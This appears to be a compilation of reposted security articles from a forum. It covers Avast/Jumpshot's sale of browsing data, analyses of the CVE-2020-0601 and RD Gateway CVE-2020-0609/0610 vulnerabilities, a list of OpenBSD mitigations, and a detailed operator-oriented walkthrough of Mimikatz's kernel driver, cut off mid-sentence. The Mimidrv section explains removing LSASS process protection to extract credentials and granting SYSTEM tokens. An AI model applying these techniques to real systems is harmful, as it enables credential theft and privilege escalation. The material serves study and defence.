Nytro

Leaked Documents Expose the Secretive Market for Your Web Browsing Data An Avast antivirus subsidiary sells 'Every search. Every click. Every buy. On every site.' Its clients have included Home Depot, Google, Microsoft, Pepsi, and McKinsey. by Joseph Cox Jan 27 2020, 4:00pm ShareTweet Snap Image: Hunter French An antivirus program used by hundreds of millions of people around the world is selling highly sensitive web browsing data to many of the world's biggest companies, a joint investigation by Motherboard and PCMag has found. Our report relies on leaked user data, contracts, and other company documents that show the sale of this data is both highly sensitive and is in many cases supposed to remain confidential between the company selling the data and the clients purchasing it. The documents, from a subsidiary of the antivirus giant Avast called Jumpshot, shine new light on the secretive sale and supply chain of peoples' internet browsing histories. They show that the Avast antivirus program installed on a person's computer collects data, and that Jumpshot repackages it into various different products that are then sold to many of the largest companies in the world. Some past, present, and potential clients include Google, Yelp, Microsoft, McKinsey, Pepsi, Sephora, Home Depot, Condé Nast, Intuit, and many others. Some clients paid millions of dollars for products that include a so-called "All Clicks Feed," which can track user behavior, clicks, and movement across websites in highly precise detail. Avast claims to have more than 435 million active users per month, and Jumpshot says it has data from 100 million devices. Avast collects data from users that opt-in and then provides that to Jumpshot, but multiple Avast users told Motherboard they were not aware Avast sold browsing data, raising questions about how informed that consent is. The data obtained by Motherboard and PCMag includes Google searches, lookups of locations and GPS coordinates on Google Maps, people visiting companies' LinkedIn pages, particular YouTube videos, and people visiting porn websites. It is possible to determine from the collected data what date and time the anonymized user visited YouPorn and PornHub, and in some cases what search term they entered into the porn site and which specific video they watched. Do you know about any other companies selling data? We'd love to hear from you. Using a non-work phone or computer, you can contact Joseph Cox securely on Signal on +44 20 8133 5190, Wickr on josephcox, OTR chat on jfcox@jabber.ccc.de, or email joseph.cox@vice.com. Although the data does not include personal information such as users' names, it still contains a wealth of specific browsing data, and experts say it could be possible to deanonymize certain users. In a press release from July, Jumpshot claims to be "the only company that unlocks walled garden data" and seeks to "provide marketers with deeper visibility into the entire online customer journey." Jumpshot has previously discussed some of its clients publicly. But other companies mentioned in Jumpshot documents include Expedia, IBM, Intuit, which makes TurboTax, Loreal, and Home Depot. Employees are instructed not to talk publicly about Jumpshot's relationships with these companies. "It's very granular, and it's great data for these companies, because it's down to the device level with a timestamp," the source said, referring to the specificity and sensitivity of the data being sold. Motherboard granted the source anonymity to speak more candidly about Jumpshot's processes. Until recently, Avast was collecting the browsing data of its customers who had installed the company's browser plugin, which is designed to warn users of suspicious websites. Security researcher and AdBlock Plus creator Wladimir Palant published a blog post in October showing that Avast harvest user data with that plugin. Shortly after, browser makers Mozilla, Opera, and Google removed Avast's and subsidiary AVG's extensions from their respective browser extension stores. Avast had previously explained this data collection and sharing in a blog and forum post in 2015. Avast has since stopped sending browsing data collected by these extensions to Jumpshot, Avast said in a statement to Motherboard and PCMag. An infographic showing the supply chain of browsing data from Avast through to Jumpshot's clients. Image: Motherboard However, the data collection is ongoing, the source and documents indicate. Instead of harvesting information through software attached to the browser, Avast is doing it through the anti-virus software itself. Last week, months after it was spotted using its browser extensions to send data to Jumpshot, Avast began asking its existing free antivirus consumers to opt-in to data collection, according to an internal document. "If they opt-in, that device becomes part of the Jumpshot Panel and all browser-based internet activity will be reported to Jumpshot," an internal product handbook reads. "What URLs did these devices visit, in what order and when?" it adds, summarising what questions the product may be able to answer. Senator Ron Wyden, who in December asked Avast why it was selling users' browsing data, said in a statement, "It is encouraging that Avast has ended some of its most troubling practices after engaging constructively with my office. However I’m concerned that Avast has not yet committed to deleting user data that was collected and shared without the opt-in consent of its users, or to end the sale of sensitive internet browsing data. The only responsible course of action is to be fully transparent with customers going forward, and to purge data that was collected under suspect conditions in the past." Despite Avast currently asking users to opt back into the data collection via a pop-up in the antivirus software, multiple Avast users said they did not know that Avast was selling browsing data. "I was not aware of this," Keith, a user of the free Avast antivirus product who only provided their first name, told Motherboard. "That sounds scary. I usually say no to data tracking," they said, adding that they haven't yet seen the new opt-in pop-up from Avast. "Did not know that they did that :(," another free Avast antivirus user said in a Twitter direct message. Motherboard and PCMag contacted over two dozen companies mentioned in internal documents. Only a handful responded to questions asking what they do with data based on the browsing history of Avast users. "We sometimes use information from third-party providers to help improve our business, products and services. We require these providers to have the appropriate rights to share this information with us. In this case, we receive anonymized audience data, which cannot be used to identify individual customers," a Home Depot spokesperson wrote in an emailed statement. Microsoft declined to comment on the specifics of why it purchased products from Jumpshot, but said that it doesn't have a current relationship with the company. A Yelp spokesperson wrote in an email, "In 2018, as part of a request for information by antitrust authorities, Yelp's policy team was asked to estimate the impact of Google’s anticompetitive behavior on the local search marketplace. Jumpshot was engaged on a one-time basis to generate a report of anonymized, high-level trend data which validated other estimates of Google’s siphoning of traffic from the web. No PII was requested or accessed." "Every search. Every click. Every buy. On every site." Southwest Airlines said it had discussions with Jumpshot but didn't reach an agreement with the company. IBM said it did not have a record of being a client, and Altria said it is not working with Jumpshot, although didn't specify if it did so previously. Google did not respond to a request for comment. On its website and in press releases, Jumpshot names Pepsi, and consulting giants Bain & Company and McKinsey as clients. As well as Expedia, Intuit, and Loreal, other companies which are not already mentioned in public Jumpshot announcements include coffee company Keurig, YouTube promotion service vidIQ, and consumer insights firm Hitwise. None of those companies responded to a request for comment. On its website, Jumpshot lists some previous case studies for using its browsing data. Magazine and digital media giant Condé Nast, for example, used Jumpshot's products to see whether the media company's advertisements resulted in more purchases on Amazon and elsewhere. Condé Nast did not respond to a request for comment. ALL THE CLICKS Jumpshot sells a variety of different products based on data collected by Avast's antivirus software installed on users' computers. Clients in the institutional finance sector often buy a feed of the top 10,000 domains that Avast users are visiting to try and spot trends, the product handbook reads. Another Jumpshot product is the company's so-called "All Click Feed." It allows a client to buy information on all of the clicks Jumpshot has seen on a particular domain, like Amazon.com, Walmart.com, Target.com, BestBuy.com, or Ebay.com. In a tweet sent last month intended to entice new clients, Jumpshot noted that it collects "Every search. Every click. Every buy. On every site" [emphasis Jumpshot's.] Jumpshot's data could show how someone with Avast antivirus installed on their computer searched for a product on Google, clicked on a link that went to Amazon, and then maybe added an item to their cart on a different website, before finally buying a product, the source who provided the documents explained. One company that purchased the All Clicks Feed is New York-based marketing firm Omnicom Media Group, according to a copy of its contract with Jumpshot. Omnicom paid Jumpshot $2,075,000 for access to data in 2019, the contract shows. It also included another product called "Insight Feed" for 20 different domains. The fee for data in 2020 and then 2021 is listed as $2,225,000 and $2,275,000 respectively, the document adds. A section of an internal Jumpshot document obtained by Motherboard and PCMag. Motherboard has reconstructed the document rather than provide a direct screenshot. Jumpshot gave Omnicom access to all click feeds from 14 different countries around the world, including the U.S., England, Canada, Australia, and New Zealand. The product also includes the inferred gender of users "based on browsing behavior," their inferred age, and "the entire URL string" but with personally identifiable information (PII) removed, the contract adds. Omnicom did not respond to multiple requests for comment. According to the Omnicom contract, the "device ID" of each user is hashed, meaning the company buying the data should not be able to identify who exactly is behind each piece of browsing activity. Instead, Jumpshot's products are supposed to give insights to companies who may want to see what products are particularly popular, or how effective an ad campaign is working. "What we don't do is report on the Jumpshot Device ID that executed the clicks to protect against the triangulation of PII," one internal Jumpshot document reads. But Jumpshot's data may not be totally anonymous. The internal product handbook says that device IDs do not change for each user, "unless a user completely uninstalls and reinstalls the security software." Numerous articles and academic studies have shown how it is possible to unmask people using so-called anonymized data. In 2006, New York Times reporters were able to identify a specific person from a cache of supposedly anonymous search data that AOL publicly released. Although the tested data was more focused on social media links, which Jumpshot redacts somewhat, a 2017 study from Stanford University found it was possible to identify people from anonymous web browsing data. "De-identification has shown to be a very failure-prone process. There are so many ways it can go wrong," Günes Acar, who studies large-scale internet tracking at the Computer Security and Industrial Cryptography research group at the Department of Electrical Engineering of the Katholieke Universiteit Leuven, said. A section of an internal Jumpshot document obtained by Motherboard and PCMag. Motherboard has reconstructed the document rather than provide a direct screenshot. De-anonymization becomes a greater concern when considering how the eventual end-users of Jumpshot's data could combine it with their own data. "Most of the threats posed by de-anonymization—where you are identifying people—comes from the ability to merge the information with other data," Acar said. A set of Jumpshot data obtained by Motherboard and PCMag shows how each visited URL comes with a precise timestamp down to the millisecond, which could allow a company with its own bank of customer data to see one user visiting their own site, and then follow them across other sites in the Jumpshot data. "It's almost impossible to de-identify data," Eric Goldman, a professor at the Santa Clara University School of Law, said. "When they promise to de-identify the data, I don't believe it." Motherboard and PCMag asked Avast a series of detailed questions about how it protects user anonymity as well as details on some of the company's contracts. Avast did not answer most of the questions but wrote in a statement, "Because of our approach, we ensure that Jumpshot does not acquire personal identification information, including name, email address or contact details, from people using our popular free antivirus software." "Users have always had the ability to opt out of sharing data with Jumpshot. As of July 2019, we had already begun implementing an explicit opt-in choice for all new downloads of our AV, and we are now also prompting our existing free users to make an explicit choice, a process which will be completed in February 2020," it said, adding that the company complies with the California Consumer Privacy Act (CCPA) and Europe's General Data Protection Regulation (GDPR) across its entire global user base. "We have a long track record of protecting users’ devices and data against malware, and we understand and take seriously the responsibility to balance user privacy with the necessary use of data," the statement added. "It's almost impossible to de-identify data." When PCMag installed Avast's antivirus product for the first time this month, the software did ask if they wanted to opt-in to data collection. "If you allow it, we'll provide our subsidiary Jumpshot Inc. with a stripped and de-identified data set derived from your browsing history for the purpose of enabling Jumpshot to analyze markets and business trends and gather other valuable insights," the opt-in message read. The pop-up did not go into detail on how Jumpshot then uses this browsing data, however. "The data is fully de-identified and aggregated and cannot be used to personally identify or target you. Jumpshot may share aggregated insights with its customers," the pop-up added. Just a few days ago, the Twitter account for Avast subsidiary AVG tweeted, "Do you remember the last time you cleaned your #browser history? Storing your browsing history for a long time can take up memory on your device and can put your private info at risk." Sursa: https://www.vice.com/en_us/article/qjdkq7/avast-antivirus-sells-user-browsing-data-investigation

Oh, intotdeauna am crezut ca LinkedIn Learning ala e o prostie, dar daca e Lynda (nu stiam), nu e rau. Imi cumparasem acum ceva timp un cont de Pluralsight, dar nu am avut timp de el si l-am inchis. Am avut acces o perioada si pe Safari Online (cel de la O'Reilly) dar nu am facut ceva concret, ci browsing prin multe carti si citit doar parti interesante. Ah, da, ma gandesc sa iau Pentester-Academy, e foarte OK calitate si mai ales pret.

Eu nu am mai facut nimic util in ultimele zile (din punct de vedere "security") dar cred ca imi fac ceva timp sa fac update la proiectele de pe GitHub. Apoi vreau sa citesc, fie Windows Internals 7 Part I, fie Gray Hat Hacking 5th Edition.

On Tueday, a critical vulnerability in Microsoft's CryptoAPI was patched - it can allow an attacker to generate a CA that is considered trusted by the system, allowing attacks on TLS, code signing and co. In this video, we look at how exactly that vulnerably works, and how we can attack it using Oliver Lyak's proof-of-concept! If you don't know public key cryptography or want to learn more about EC, check the ArsTechnica EC primer: https://arstechnica.com/information-t... The awesome PoC: https://github.com/ollypwn/CVE-2020-0601 Thomas Ptacek's explanation: https://news.ycombinator.com/item?id=... The NSA advisory: https://media.defense.gov/2020/Jan/14... Kudelski Blogpost: https://research.kudelskisecurity.com... ArsTechnica Article: https://arstechnica.com/information-t...

Mitigations ASLR Arc4random Atexit hardening Development practises Disk encryption Embargoes handling Explicit_bzero and bzero Fork and exec Fuzzing KARL (Kernel Address Randomized Link) L1 Terminal Fault (L1TF), aka Foreshadow Lazy bindings Libc symbols randomization Library order randomization MAP_CONCEAL MAP_STACK Mandatory W^X in userland Microarchitectural Data Sampling, aka Fallout, RIDL and Zombieload Missing mitigations NULL-deref in kernel-land to code execution PID randomization Packages updates Papers, academic research and threat model Passwords hashing Pledge Position independent code Privsep and privdrop RELRO RETGUARD and stack canaries ROP gadgets removal Rootless Xorg SMAP, SMEP and their friends SROP mitigation SWAPGS — CVE-2019-1125 Secure boot and trusted boot Secure levels Setjmp and longjmp Signify Spectre v1 — CVE-2017-5753 Spectre v2 — CVE-2017-5715 Spectre v3, aka Meltdown — CVE-2017-5754 Stack clash Stance on memory-safe languages Support of %n in printf TCP SYN cookies TIOCSTI hardening TRAPSLED Tarpit Unveil Userland heap management W^X W^X "refinement" 2019 — stein — CC-BY-SA Sursa: https://isopenbsdsecu.re/mitigations/

RDP to RCE: When Fragmentation Goes Wrong Saturday, January 18, 2020 Tags: exploit CVE-2020-0609 CVE-2020-0610 Remote Desktop Gateway (RDG), previously known as Terminal Services Gateway, is a Windows Server component that provides routing for Remote Desktop (RDP). Rather then users connecting directly to an RDP Server, users instead connect and authenticate to the gateway. Upon successful authentication, the gateway will forward RDP traffic to an address specified by the user, essentially acting as a proxy. The idea is that only the gateway needs to be exposed to the Internet, leaving all RDP Servers safely behind the firewall. Due to the fact that RDP is a much larger attack surface, a setup properly using RDG can significantly reduce an organization’s attack surface. In the January 2020 security update, Microsoft addressed two vulnerabilities in RDG. The bugs, CVE-2020-0609 and CVE-2020-0610, both allow for pre-authentication remote code execution. Looking at the diff The first step to analyze these bugs is to look at the difference between the original and patched versions of the affected DLL. A BinDiff of the RDG executable before and after installing the patch. It is clear only one function has been been modified. RDG supports three different protocols: HTTP, HTTPS, and UDP. The updated function is responsible for handling the latter. Normally, one would show a side-by-side comparison of the function before and after patch. Unfortunately, the code is extremely large and there are many changes. Instead, we have opted to present a pseudo-code representation of the function, in which irrelevant code has been stripped. Pseudo-code for the UDP handler function The RDG UDP protocol allows for large messages to be split across multiple separate UDP packets. Due to the property that UDP is connectionless, packets can arrive out of order. The job of this function is to re-assemble messages, ensuring each part is in the correct place. Every packet contains a header containing with the following fields: fragment_id: the packet’s position in the sequence num_fragments: the total number of packets in the sequence fragment_length: the length of the packet’s data The message handler uses the packet headers to ensure the message is re-assembled in the correct order, and no parts are missing. However, the implementation of this function introduces some bugs which can be exploitable. CVE-2020-0609 The packet handler's bounds checking. memcpy_s copies each fragment to an offset within the reassembly buffer, which is allocated on the heap. The offset for each fragment is calculated by multiplying the fragment id by 1000. However, the bounds checking does not take the offset into account. Let’s assume buffer_size is 1000, and we send a message with 2 fragments. The 1st fragment (fragment_id=0) has a length of 1. this->bytes_written is 0, so the bounds check passes. 1 byte is written to the buffer at offset 0, and bytes_written is incremented by 1. The 2nd fragment (fragment_id=1) has length of 998. this->bytes_written is 1, and 1 + 998 is still smaller than 1000, so the bounds check passes. 998 bytes are written to the buffer at offset 1000 (fragment_id*1000), which results in writing 998 bytes past the end of the buffer. Something to note is that packets don’t have to be sent in order (remember, it’s UDP). So if the first packet we send has fragment_id=65535‬ (the maximum), it will be written to offset 65535*1000, a full 65534000 bytes past the end of the buffer. By manipulating the fragment_id, it’s possible to write up to 999 bytes anywhere between 1 and 65534000 after the end of the buffer. This vulnerability is much more flexible than a typical linear heap overflow. It allows us to not only control the size of the data written, but the offset to where it’s written. With the extra control, it’s easier to do more precise writes, avoiding unnecessarily data corruption. CVE-2020-0610 The packet handler's tracking of which fragments have been received. The class object maintains an array of 32-bit unsigned integers (one for each fragment). Once a fragment has been received, the corresponding array entry is set from 0 to 1. Once every element is set to 1, the message re-assembly is complete and the message can be processed. The array only has space for up to 64 entries, but the fragment ID can be between 0 and 65535. The only verification is that fragment_id is less than num_fragments (which can also be set to 65535). Therefore, setting the fragment_id to any value between 65 and 65535 will allow us to write a 1 (TRUE) outside the bounds of the array. Whilst being able to set a single value to 1 may seem implausible to turn into an RCE, even the tiniest modifications can have a huge impact on program behavior. Mitigations If for whatever reason you are unable to install the patch, it is still possible to prevent exploitation of these vulnerabilities. RDG supports the HTTP, HTTPS, and UDP protocols, but the vulnerabilities only exist in the code responsible for handling UDP. Simply disabling UDP Transport, or firewalling the UDP port (usually port 3391) is sufficient to prevent exploitation. Remote Desktop Gateway Settings Future work and detection In our efforts to improve detection capabilities, some of our research includes passive and active data capabilities for scanning for vulnerabilities like CVE-2020-0609 and CVE-2020-0610. As part of our platformization of threat intelligence, we have begun adding vulnerability information to Telltale, allowing organizations to determine if they are at risk. Sursa: https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/

Mimidrv In Depth: Exploring Mimikatz’s Kernel Driver Matt Hand Follow Jan 13 · 29 min read Mimikatz provides the opportunity to leverage kernel mode functions through the included driver, Mimidrv. Mimidrv is a signed Windows Driver Model (WDM) kernel mode software driver meant to be used with the standard Mimikatz executable by prefixing relevant commands with an exclamation point (!). Mimidrv is undocumented and relatively underutilized, but provides a very interesting look into what we can do while operating at ring 0. The goals of this post is to familiarize operators with the capability that Mimidrv provides, put forth some documentation to be used as a reference, introduce those who haven’t had much time working with the kernel to some core concepts, and provide defensive recommendations for mitigating driver-based threats. Why use Mimidrv? Simply put, the kernel is king. There are some Windows functionalities available that can’t be called from user mode, such as modifying running processes’ attributes and interacting directly with other loaded drivers. As we will delve into a later in this post, the driver provides us with a method to call these functions via a user mode application. Loading Mimidrv The first step in using Mimikatz’s driver is to issue the command !+. This command implants and starts the driver from user mode and requires that your current token has SeLoadDriverPrivilege assigned. Mimikatz first checks if the driver exists in the current working directory, and if it finds the driver on disk, it begins creating the service. Service creation is done via the Service Control Manager (SCM) API functions. Specifically, advapi32!ServiceCreate is used to register the service with the following attributes: If the service is created successfully, the “Everyone” group is granted access to the service, allowing any user on the system to interact with the service. For example, a low-privilege user can stop the service. Note: This is one of the reasons that post-op clean up is so important. Don’t forget to remove the driver (!-) when you are done so that you don’t leave it implanted for someone else to use. If that completes successfully, the service is finally started with a call to StartService. Post-Load Actions Once the service starts, it is Mimidrv’s turn to complete its setup. The driver does not do anything atypical during its startup process, but it may seem complicated you haven’t developed WDM drivers before. Every driver must have a defined DriverEntry function that is called as soon as the driver is loaded and is used to set up the requirements for the driver to run. You can think of this similarly to a main() function in user mode code. In Mimidrv’s DriverEntry function, there are four main things that happen. 1. Create the Device Object Clients do not talk directly to drivers, but rather device objects. Kernel mode drivers must create at least 1 device object, however this device object still can’t be accessed directly by user mode code without a symbolic link. We’ll cover the symbolic link a little later, but the creation of the device object must occur first. To create the device object, a call to nt!IoCreateDevice is made with some important details. Most notable of this is the third parameter, DeviceName. This is set in globals.h as “mimidrv”. This newly created device object can be seen with WinObj. 2. Set the DispatchDeviceControl and Unload Functions If that device object creation succeeds, it defines its DispatchDeviceControl function, registered at the IRP_MJ_DEVICE_CONTROL index in its MajorFunction dispatch table, as the MimiDispatchDeviceControl function. What this means is that any time it receives a IRP_MJ_DEVICE_CONTROL request, such as from kernel32!DeviceIoControl, Mimidrv will call its internal MimiDispatchDeviceControl function which will process the request. We will cover how this works in the “User Mode Interaction via MimiDispatchDeviceControl” section. Just as every driver must specify a DriveryEntry function, it must define a corresponding Unload function that is executed when the driver is unloaded. Mimidrv’s DriverUnload function is about as simple as it gets and its only job is to delete the symbolic link and then device object. 3. Create the Symbolic Link As mentioned earlier, if a driver wants to allow user mode code to interact with it, it must create a symbolic link. This symbolic link will be used by user mode applications, such as through calls to nt!CreateFile and kernel32!DeviceIoControl, in place of a “normal” file to send data to and receive data from the driver. To create the symbolic link, Mimidrv makes a call to nt!IoCreateSymbolicLink with the name of the symbolic link and the device object as arguments. The newly created device object and associated symlink can be seen in WinObj: 4. Initialize Aux_klib Finally, it initializes the Aux_klib library using AuxKlibInitialize, which must be done before being able to call any function in that library (more on that in the “Modules” section). User Mode Interaction via MimiDispatchDeviceControl After initialization, a driver’s job is simply to handle requests to it. It does this through a partially opaque feature called I/O request packets (IRPs).These IRPs contain I/O Control Codes (IOCTLs) which are mapped to function codes. These typically start at 0x8000, but Mimikatz starts at 0x000, against Microsoft’s recommendation. Mimikatz currently defines 23 IOCTLs in ioctl.h. Each one of these IOCTLs is mapped to a function. When Mimidrv receives one of these 23 defined IOCTLs, it calls the mapped function. This is where the core functionality of Mimidrv lies. Sending IRPs In order to get the driver to execute one of the functions mapped to the IOCTLs, we have to send an IRP from user mode via the symbolic link created earlier. Mimikatz handles this in the kuhl_m_kernel_do function, which trickles down to a call to nt!CreateFile to get a handle on the device object and kernel32!DeviceIoControl to sent the IRP. This hits the IRP_MJ_DEVICE_CONTROL major function, which was defined as MimiDispatchDeviceControl, and walks down the list of internally defined functions by their IOCTL codes. When a command is entered with the prefix “!”, it checks the KUHL_K_C structure, kuhl_k_c_kernel, to get the IOCTL associated with the command. The structure is defined as: In the struct, 19 commands are defined as: Despite there being 23 IOCTLs, there are only 19 commands available via Mimikatz. This is because 4 of the functions related to interacting with virtual memory are not mapped to commands. The IOCTLs and associated functions are: IOCTL_MIMIDRV_VM_READ→kkll_m_memory_vm_read IOCTL_MIMIDRV_VM_WRITE→kkll_m_memory_vm_write IOCTL_MIMIDRV_VM_ALLOC→kkll_m_memory_vm_alloc IOCTL_MIMIDRV_VM_FREE→kkll_m_memory_vm_free Driver Function Internals The commands can be broken down into 7 groups— General, Process, Notify, Modules, Filters, Memory, and SSDT. These are, for the most part (minus the General functions), logically organized in the Mimidrv source code with file name format kkll_m_<group>.c. General !ping The ping command can be used to test the ability to write data to and receive data from Mimidrv. This is done through Benjamin’s kprintf function, which is really just a simplified call to nt!RtlStringCbPrintfExW which allows the use of the KIWI_BUFFER structure to keep the code tidy. !bsod As alluded to by the name, this functionality bluescreens the box. This is done via a call to KeBugCheck with a bugcheck code of MANUALLY_INITIATED_CRASH, which will be shown on the bluescreen under the “stop code”. !sysenvset & !sysenvdel The !sysenvset command sets a system environment variable, but not in the traditional sense (e.g. modifying %PATH%). Instead, on systems configured with Secure Boot, it modifies a variable in the UEFI firmware store, specifically Kernel_Lsa_Ppl_Config, which is associated with the RunAsPPL value in the registry. The GUID that it writes this value to, 77fa9abd-0359–4d32-bd60–28f4e78f784b, is the Protected Store which Windows can use to store values that it wants to protect from user and admin modification. This effectively overrides the registry, so even if you were to modify the RunAsPPL key and reboot, LSASS would still be protected. The !sysenvdel does the opposite and removes this environment variable. The RunAsPPL registry key could then be deleted, the system rebooted, and then we could get a handle on LSASS. Process The first group of modules we’ll really dig into is the Process group, which allows for interaction and modification of user mode processes. Because we will be working with processes in this section, it is important to understand what they look like from the kernel’s perspective. Processes in the kernel center around the EPROCESS structure, an opaque structure that serves as the object for a process. Inside of the structure are all of the attributes of a process that we are familiar with, such as the process ID, token information, and process environment block (PEB). EPROCESS structures in the kernel are connected through a circular doubly-linked list. The list head is stored in the kernel variable PsActiveProcessHead and is used as the “beginning” of the list. Each EPROCESS structure contains a member, ActiveProcessLinks, of the type LIST_ENTRY. The LIST_ENTRY structure has 2 components — a forward link (Flink) and a backward link (Blink). The Flink points to the Flink of the next EPROCESS structure in the list. The Blink points to the Flink of the previous EPROCESS structure in the list. The Flink of the last structure in the list points to the Flink of PsActiveProcessHead. This creates a loop of EPROCESS structures and is represented in this simplified graphic. !process The first module gives us a list of processes running on the system, along with some additional information about them. This works by walking the linked list described earlier using 2 Windows version-specific offsets — EprocessNext and EprocessFlags2. EprocessNext is the offset in the current EPROCESS structure containing the address of the ActiveProcessLinks member, where the Flink to the next process can be read (e.g. 0x02f0 in Windows 10 1903). EProcessFlags2 is a second set of ULONG bitfields introduced in Windows Vista, hence why this is only shown when running on systems Vista and above, used to give use some more detail. Specifically: PrimaryTokenFrozen — Uses a ternary to return “F-Tok” if the primary token is frozen and nothing if it isn’t. If PrimaryTokenFrozen is not set, we can swap in our token such as in the case of suspended processes. In a vast majority of cases, you will find that the primary token is frozen. SignatureProtect — This is actually 2 values - SignatureLevel and SectionSignatureLevel. SignatureLevel defines the signature requirements of the primary module. SectionSignatureLevel defines the minimum signature level requirements of a DLL to be loaded into the process. Protection — These 3 values, Type, Audit, and Signer, are members of the PS_PROTECTION structure which represent the process’ protection status. Most important of these is Type, which maps to the following statuses, which you may recognize as PP/PPL: !processProtect The !processProtect function is one of, if not the most, used functionalities supplied by Mimidrv. Its objective is to add or remove process protection from a process, most commonly LSASS. The way it goes about modifying the protection status is relatively simple: Use nt!PsLookupProcessByProcessId to get a handle on a process’ EPROCESS structure by its PID. Go to the version-specific offset of SignatureProtect in the EPROCESS structure. Patches 5 values — SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer (the last 3 being members of the PS_PROTECTION struct) — depending on whether or not it is protecting or unprotecting the process. If protecting, the values will be 0x3f, 0x3f, 2, 0, 6, representing a protected signer of WinTcb and protection level of Max. If unprotecting, the values will be 0, 0, 0, 0, 0, representing an unprotected process. Finally, dereference the EPROCESS object. This module is particularly relevant for us as attackers because most obviously we can remove protection from LSASS in order to extract credentials, but more interestingly we can protect an arbitrary process and use that to get a handle on another protected process. For example, we use !processProtect to protect our running mimikatz.exe and then run some command to extract credentials from LSASS and it should work despite LSASS being protected. An example of this use case is shown below. !processToken Continuing with another operationally-relevant function is !processToken which can be used to duplicate a process token and pass it to an attacker-specified process. This is most commonly used during DCShadow attacks and is similar to token::elevate, but modifies the process token instead of the thread token. With no arguments passed, this function will grant all cmd.exe, powershell.exe, and mimikatz.exe processes a NT AUTHORITY\SYSTEM token. Alternatively, it takes “to” and “from” parameters which can be used to define the process you wish to copy the token from and process you want to copy it to. To duplicate the token, Mimikatz first sets the “to” and “from” PIDs to the user-supplied values, or “0” if not set, and then places them in a MIMIDRV_PROCESS_TOKEN_FROM_TO struct, which sent to Mimidrv via IOCTL_MIMIDRV_PROCESS_TOKEN. Once Mimidrv receives the PIDs specified by the user, it gets handles on the “to” and “from” processes using nt!PsLookupProcessByProcessId. If it was able to get a handle on those processes, it uses nt!ObOpenObjectByPointer to get a kernel handle (OBJ_KERNEL_HANDLE) on the “from” process. This is required by the following call to nt!ZwOpenProcessTokenEx, which will return a handle on the “from” process’ token. At this point, the logic forks somewhat. In the first case where the user has supplied their own “to” process, Mimidrv calls kkll_m_process_token_toProcess. This function first uses nt!ObOpenObjectByPointer to get a kernel handle on the “to” process. Then it calls ZwDuplicateToken to get the token from the “from” process and stash it in an undocumented PROCESS_ACCESS_TOKEN struct as the Token attribute. If the system is running Windows Vista or above, it sets PrimaryTokenFrozen (described in the !process section) and then calls the undocumented nt!ZwSetInformationProcess function to do the actual work of giving the duplicated token to the “to” process. Once that completes, it cleans up by closing the handles to the “to” process and PROCESS_ACCESS_TOKEN struct. In the event that no “to” process was specified, Mimidrv leverages the kkll_m_process_enum function used in !process to walk the list of processes on the system. Instead of using the kkll_m_process_list_callback callback, it uses kkll_m_process_systoken_callback, which uses ntdll!RtlCompareMemory to check if the ImageFileName matches “mimikatz.exe”, “cmd.exe”, or “powershell.exe”. If it does, it passes a handle to that process to kkll_m_process_token_toProcess and the functionality described in the paragraph before this is used to grant a duplicated token to that process, and then it continues walking the linked list looking for other matches. !processPrivilege This is a relatively simple function that grants all privileges (e.g. SeDebugPrivilege, SeLoadDriverPrivilege), but includes some interesting code that highlights the power of operating in ring 0. Before we jump into exactly how Mimidrv modifies the target process token, it is important to understand what a token looks like in the kernel. As discussed earlier, the EPROCESS structure contains attributes of a process, including the token (offset 0x360 in Windows 10 1903). You may notice that the token of the type EX_FAST_REF rather than TOKEN. This is some internal Windows weirdness, but these pointers are built around that fact that that kernel structures are aligned on a 16-byte boundary on x64 systems. Due to this alignment, spare bits in the pointer are available to be used for reference counting. Where this becomes relevant for us is that the last 1 byte of the pointer will be the reference to our object — in this case a pointer to the TOKEN structure. To demonstrate this practically, let’s hunt down the token of the System process in WinDbg. First, we get the address of the EPROCESS structure for the process. Because we know that the token EX_FAST_REF will be at offset 0x360, we can use WinDbg’s calculator to do some quick math and give us the memory address at the result of the equation. Now that we have the address of the EX_FAST_REF, we can change the last byte to 0 to get the address of our TOKEN structure, which we’ll examine with the !token extension. So now that we can identify the TOKEN structure, we can examine some of its attributes. Most relevant to !processPrivileges is the Privileges attribute (offset 0x40 on Vista and above). This attribute is of the type SEP_TOKEN_PRIVILEGES which contains 3 attributes — Present, Enabled, and EnabledByDefault. These are bitmasks representing the token permissions we are used to seeing (SeDebugPrivilege, SeLoadDriverPrivilege, etc.). If we examine the function called by Mimidrv when we issue the !processPrivileges command, we can see that these bitmasks are being overwritten to enable all privileges on the primary token of the target process. Here’s what the result looks like in the GUI. And here it is in the debugger while inspecting the memory at the Privileges offset. To sum this module up, !processPrivileges overwrites a specific bitmask in a target process’ TOKEN structure which grants all permissions to the target process. Notify The kernel provides ways for drivers to “subscribe” to specific events that happen on a system by registering callback functions to be executed when the specific event happens. Common examples of this are shutdown handlers, which allow the driver to perform some action when the system is shutting down (often for persistence), and process creation notifications, which let the driver know whenever a new process is started on the system (commonly used by EDRs). These modules allow us to find drivers that subscribe to specific event notifications and where their callback function is located. The code Mimidrv uses to do this is a bit hard to read, but the general flow is: Search for a string of bytes, specifically the opcodes directly after a LEA instruction containing the pointer to a structure in system memory. Work with the structure (or pointers to structures) at the address passed in the LEA instruction to find the address of the callback functions. Return some details about the function, such as the driver that it belongs to. !notifProcess A driver can opt to receive notifications when a process is created or destroyed by using nt!PsSetCreateProcessNotifyRoutine(Ex/Ex2) with a callback function specified in the first parameter. When a process is created, a process object for the newly created process is returned along with a PS_CREATE_NOTIFY_INFO structure, which contains a ton of relevant information about the newly created process, including its parent process ID and command line arguments. A simple implementation of process notifications can be found here. This type of notification has some advantages over Event Tracing for Windows (ETW), namely that there is no delay in receiving the creation/termination notifications and because the process object is passed to our driver, we have a way to prevent the process from starting during a pre-operation callback. Seems pretty useful for an EDR product, eh? We first begin by searching for the pattern of bytes (opcodes starting at LEA RCX,[RBX*8] in the screenshot below) between the addresses of nt!PsSetCreateProcessNotifyRoutine and nt!IoCreateDriver which marks the start of the undocumented nt!PspSetCreateProcessNotifyRoutine array. At the address of nt!PspSetCreateProcessNotifyRoute is an array of ≤64 pointers to EX_FAST_REF structures. When a process is created/terminated, nt!PspCallProcessNotifyRoutines walks through this array and calls all of the callbacks registered by drivers on the system. In this array, we will work with the 3rd item (0xffff9409c37c7e6f). The last 4 bits of these pointer addresses are insignificant, so they are removed which gives us the address of the EX_CALLBACK_ROUTINE_BLOCK. The EX_CALLBACK_ROUTINE_BLOCK structure is undocumented, but thanks to the folks over at ReactOS, we have it defined here as: The first 8 bytes of the structure represent an EX_RUNDOWN_REF structure, so we can jump past them to get the 